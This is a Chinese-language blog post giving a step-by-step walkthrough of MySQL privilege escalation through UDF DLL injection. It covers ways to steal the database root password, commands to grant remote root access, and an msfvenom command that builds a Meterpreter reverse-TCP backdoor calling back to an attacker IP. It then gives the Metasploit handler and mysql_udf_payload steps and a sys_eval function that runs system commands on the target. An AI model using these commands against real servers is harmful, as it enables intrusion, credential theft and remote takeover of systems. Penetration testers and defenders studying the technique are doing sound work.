MySQL数据库提权

目录

数据库相关知识:

数据库提权前提条件:

数据库提权流程:

MSF操作流程:


数据库相关知识:

Mysql版本大于5.2,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

Mysql版本小于5.2: 

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

数据库提权前提条件:

1.数据库最高权限用户的密码
    如何获取用户的密码:
        	1.通过网站注入点获取,使用sqlmap跑
			2.数据库的备份文件或者存储文件
			mysql-data-root-mysql-user.MYD /user.MYI /user.frm 
            其中一个存储账号密码
			3.网站源码中翻数据库配置文件
				例如:config文件等
			4.爆破弱口令(一般不会用,有些不支持)
2.sercure-file-priv没有进行目录限制
    show global variables like '%secure%'; 
    //查看MySQL 是否具有写入文件的权限

注:

1.secure_file_priv的值为null 表示限制mysqld 不允许导入/导出

2.当secure_file_priv的值为/tmp/ 表示限制mysqld 导入/导出只能发生在/tmp/目录下

3.当secure_file_priv的值没有具体值时,表示不对mysqld 的导入/导出做限制

数据库提权流程:

UDF提权
		=>5.2 导至/lib/plugin
		<5.2 导至C:/windows或者system32

1.得到账号密码后使用哥斯拉进行连接数据库
    1.1判断是否对目录进行限制
        show global variables like '%secure%'; 
2.查询数据库版本 :select version()
    2.1查询安装目录 :select @@basedir 
    2.2 查询操作系统和架构:
    select @@version_compile_os, @@version_compile_machine;
     大于5.2
         show variables like 'plugin%';
         //判断是否存在 plugin
         不存在可以使用webshell管理工具创建
3.数据库需要开启外联
GRANT ANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

MSF操作流程:

msf操作概括说明:
                 ##MSF前提先开外链###
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块进行UDF提权
MSF会将dll文件写入lib/plugin目录下(前提是该目录必须存在,需要手工创建),
该dll文件中包含sys_exec()函数,但是默认只创建sys_eval()函数,来执行有回显的命令。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.60.130 LPORT=9999 -f exe -o reverse.exe
//生成后门
use exploit/multi/handle
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9999
run
background 
//目标主机上线
exploit/multi/mysql/mysql_udf_payload
set username xxx
set password xxx
set rhost 目标主机
run 
会在lib/plugin下生成一个dll文件

select * from mysql.func 
create function sys_eval returns string soname "JilMPGNd.dll";
//创建sys_eval函数绑定dll
select sys_eval("whoami");//调用函数进行命令执行 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值